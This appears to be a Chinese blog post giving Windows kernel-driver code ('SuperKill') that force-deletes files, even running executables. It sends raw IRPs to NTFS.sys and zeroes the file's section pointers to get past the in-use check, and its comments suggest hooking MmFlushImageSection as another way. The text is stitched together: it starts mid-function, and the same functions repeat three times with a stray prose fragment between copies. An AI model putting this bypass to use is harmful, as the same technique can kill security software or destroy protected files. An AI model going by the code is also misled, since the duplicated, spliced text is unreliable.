//会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
//控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
//回调函数会释放刚分配的IRP和设置事件对象为受信状态。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。
ObDereferenceObject(fileObject);
return TRUE;
}
BOOLEAN
SKillDeleteFile(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_DISPOSITION_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////
SKillStripFileAttributes( FileHandle); //去掉只读属性,才能删除只读文件
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
//否则返回的是这个设备对象的highest level设备对象。
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
FileInformation.DeleteFile = TRUE;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。
pSectionObjectPointer = fileObject->SectionObjectPointer;
pSectionObjectPointer->ImageSectionObject = 0;
pSectionObjectPointer->DataSectionObject = 0;
IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
//MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
//在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
//的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);
ObDereferenceObject(fileObject);
return TRUE;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
UNICODE_STRING uniDeviceName;
UNICODE_STRING uniSymLink;
NTSTATUS ntStatus;
PDEVICE_OBJECT deviceObject = NULL;
HANDLE hFileHandle;
RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject,
0x100u,
&uniDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
TRUE,
&deviceObject);
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(deviceObject);
return ntStatus;
}
DriverObject->DriverUnload = SKillUnloadDriver;
//
// 重点在这
//
hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
FILE_READ_ATTRIBUTES,
FILE_SHARE_DELETE); //Get file handle得到文件句柄
if (hFileHandle!=NULL)
{
SKillDeleteFile(hFileHandle);
ZwClose(hFileHandle);
}
return STATUS_SUCCESS;
}
//会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
//控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
//回调函数会释放刚分配的IRP和设置事件对象为受信状态。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。
ObDereferenceObject(fileObject);
return TRUE;
}
BOOLEAN
SKillDeleteFile(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_DISPOSITION_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////
SKillStripFileAttributes( FileHandle); //
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
//否则返回的是这个设备对象的highest level设备对象。
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
FileInformation.DeleteFile = TRUE;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。
pSectionObjectPointer = fileObject->SectionObjectPointer;
pSectionObjectPointer->ImageSectionObject = 0;
pSectionObjectPointer->DataSectionObject = 0;
IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
//MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
//在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
//的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);
ObDereferenceObject(fileObject);
return TRUE;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
UNICODE_STRING uniDeviceName;
UNICODE_STRING uniSymLink;
NTSTATUS ntStatus;
PDEVICE_OBJECT deviceObject = NULL;
HANDLE hFileHandle;
RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject,
0x100u,
&uniDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
TRUE,
&deviceObject);
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(deviceObject);
return ntStatus;
}
DriverObject->DriverUnload = SKillUnloadDriver;
//
// 重点在这
//
hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
FILE_READ_ATTRIBUTES,
FILE_SHARE_DELETE); //得到文件句柄
if (hFileHandle!=NULL)
{
SKillDeleteFile(hFileHandle);
ZwClose(hFileHandle);
}
return STATUS_SUCCESS;
} 表示能删除。另一种方法是HOOK NTFS.sys的导入表中的MmFlushImageSection()函数,在HOOK函数中检查是不是我们要删除的文件,是的话直接返回TRUE也行。下面是完整代码
#include <ntddk.h>
#define NT_DEVICE_NAME L"\\Device\\SuperKill"
#define DOS_DEVICE_NAME L"\\DosDevices\\SuperKill"
VOID
SKillUnloadDriver(
IN PDRIVER_OBJECT DriverObject
)
{
PDEVICE_OBJECT deviceObject = DriverObject->DeviceObject;
UNICODE_STRING uniSymLink;
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
IoDeleteSymbolicLink(&uniSymLink);
IoDeleteDevice(deviceObject);
}
HANDLE
SkillIoOpenFile(
IN PCWSTR FileName,
IN ACCESS_MASK DesiredAccess,
IN ULONG ShareAccess
)
{
NTSTATUS ntStatus;
UNICODE_STRING uniFileName;
OBJECT_ATTRIBUTES objectAttributes;
HANDLE ntFileHandle;
IO_STATUS_BLOCK ioStatus;
if (KeGetCurrentIrql() > PASSIVE_LEVEL)
{
return 0;
}
RtlInitUnicodeString(&uniFileName, FileName);
InitializeObjectAttributes(&objectAttributes, &uniFileName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
ntStatus = IoCreateFile(&ntFileHandle,
DesiredAccess,
&objectAttributes,
&ioStatus,
0,
FILE_ATTRIBUTE_NORMAL,
ShareAccess,
FILE_OPEN,
0,
NULL,
0,
0,
NULL,
IO_NO_PARAMETER_CHECKING);
if (!NT_SUCCESS(ntStatus))
{
return 0;
}
return ntFileHandle;
}
NTSTATUS
SkillSetFileCompletion(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context
)
{
Irp->UserIosb->Status = Irp->IoStatus.Status;
Irp->UserIosb->Information = Irp->IoStatus.Information;
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);
IoFreeIrp(Irp);
return STATUS_MORE_PROCESSING_REQUIRED;
}
BOOLEAN
SKillStripFileAttributes(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_BASIC_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);//我想知道的是这个文件句柄是在哪个进程的句柄表中
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
memset(&FileInformation,0,0x28);
FileInformation.FileAttributes = FILE_ATTRIBUTE_NORMAL;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp);
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_BASIC_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileBasicInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
IoCallDriver(DeviceObject, Irp);//调用这个设备对象的驱动对象,并且IO_StACK_LOCAtion会指向下一个,也就是刚刚设置的
//如果没有文件系统驱动建立的设备对象没有Attacked的话,就调用文件系统驱动的IRP_MJ_SET_INFORMATION分派例程
//会调用NTFS.sys驱动的NtfsFsdSetInformation例程,再会进入NtfsSetBasicInfo()函数,最后它会设置代表此文件的FCB(文件
//控制块结构的一些信息,用来设置代表此文件的属性。最后不知道在哪里会调用IoCompleteRequest,它会依次调用先前设置的回调函数
//回调函数会释放刚分配的IRP和设置事件对象为受信状态。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);//一等到事件对象变成受信状态就会继续向下执行。
ObDereferenceObject(fileObject);
return TRUE;
}
BOOLEAN
SKillDeleteFile(
IN HANDLE FileHandle
)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
PFILE_OBJECT fileObject;
PDEVICE_OBJECT DeviceObject;
PIRP Irp;
KEVENT event1;
FILE_DISPOSITION_INFORMATION FileInformation;
IO_STATUS_BLOCK ioStatus;
PIO_STACK_LOCATION irpSp;
PSECTION_OBJECT_POINTERS pSectionObjectPointer; ////////////////////
SKillStripFileAttributes( FileHandle); //去掉只读属性,才能删除只读文件
ntStatus = ObReferenceObjectByHandle(FileHandle,
DELETE,
*IoFileObjectType,
KernelMode,
&fileObject,
NULL);
if (!NT_SUCCESS(ntStatus))
{
return FALSE;
}
DeviceObject = IoGetRelatedDeviceObject(fileObject);//如果NTFS.sys驱动建立的设备对象上没有附加的设备对象的话,就返回NTFS.sys建立的设备对象
//否则返回的是这个设备对象的highest level设备对象。
Irp = IoAllocateIrp(DeviceObject->StackSize, TRUE);//如果没有附加,StackSize为7
if (Irp == NULL)
{
ObDereferenceObject(fileObject);
return FALSE;
}
KeInitializeEvent(&event1, SynchronizationEvent, FALSE);
FileInformation.DeleteFile = TRUE;
Irp->AssociatedIrp.SystemBuffer = &FileInformation;
Irp->UserEvent = &event1;
Irp->UserIosb = &ioStatus;
Irp->Tail.Overlay.OriginalFileObject = fileObject;
Irp->Tail.Overlay.Thread = (PETHREAD)KeGetCurrentThread();
Irp->RequestorMode = KernelMode;
irpSp = IoGetNextIrpStackLocation(Irp); //得到文件系统NTFS.sys驱动的设备IO_STACK_LOCATION
irpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
irpSp->DeviceObject = DeviceObject;
irpSp->FileObject = fileObject;
irpSp->Parameters.SetFile.Length = sizeof(FILE_DISPOSITION_INFORMATION);
irpSp->Parameters.SetFile.FileInformationClass = FileDispositionInformation;
irpSp->Parameters.SetFile.FileObject = fileObject;
IoSetCompletionRoutine(
Irp,
SkillSetFileCompletion,
&event1,
TRUE,
TRUE,
TRUE);
//再加上下面这三行代码 ,MmFlushImageSection 函数通过这个结构来检查是否可以删除文件。
pSectionObjectPointer = fileObject->SectionObjectPointer;
pSectionObjectPointer->ImageSectionObject = 0;
pSectionObjectPointer->DataSectionObject = 0;
IoCallDriver(DeviceObject, Irp);//这里会依次进入NTFS.sys驱动的NtfsFsdSetInformation例程->NtfsSetDispositionInfo()->MmFlushImageSection(),
//MmFlushImageSection()这函数是用来检查FILE_OBJECT对象的SECTION_OBJECT_POINTER结构的变量,检查这个文件
//在内存有没有被映射。也就是有没有执行。如果上面那样设置了,也就是说文件可以删除了。我们也可以HOOK NTFS.sys导入表中的
//的MmFlushImageSection(),来检查这个文件对象是不是我们要删除 的,是的话,返回TRUE就行了。
KeWaitForSingleObject(&event1, Executive, KernelMode, TRUE, NULL);
ObDereferenceObject(fileObject);
return TRUE;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
UNICODE_STRING uniDeviceName;
UNICODE_STRING uniSymLink;
NTSTATUS ntStatus;
PDEVICE_OBJECT deviceObject = NULL;
HANDLE hFileHandle;
RtlInitUnicodeString(&uniDeviceName, NT_DEVICE_NAME);
RtlInitUnicodeString(&uniSymLink, DOS_DEVICE_NAME);
ntStatus = IoCreateDevice(
DriverObject,
0x100u,
&uniDeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
TRUE,
&deviceObject);
if (!NT_SUCCESS(ntStatus))
{
return ntStatus;
}
ntStatus = IoCreateSymbolicLink(&uniSymLink, &uniDeviceName);
if (!NT_SUCCESS(ntStatus))
{
IoDeleteDevice(deviceObject);
return ntStatus;
}
DriverObject->DriverUnload = SKillUnloadDriver;
//
// 重点在这
//
hFileHandle = SkillIoOpenFile(L"\\Device\\HarddiskVolume1\\test.exe",
FILE_READ_ATTRIBUTES,
FILE_SHARE_DELETE); //Get file handle得到文件句柄
if (hFileHandle!=NULL)
{
SKillDeleteFile(hFileHandle);
ZwClose(hFileHandle);
}
return STATUS_SUCCESS;
}
Labels:
driver tools program,
Programming Tutorials,
ring0,
sys
Subscribe to:
Posts (Atom)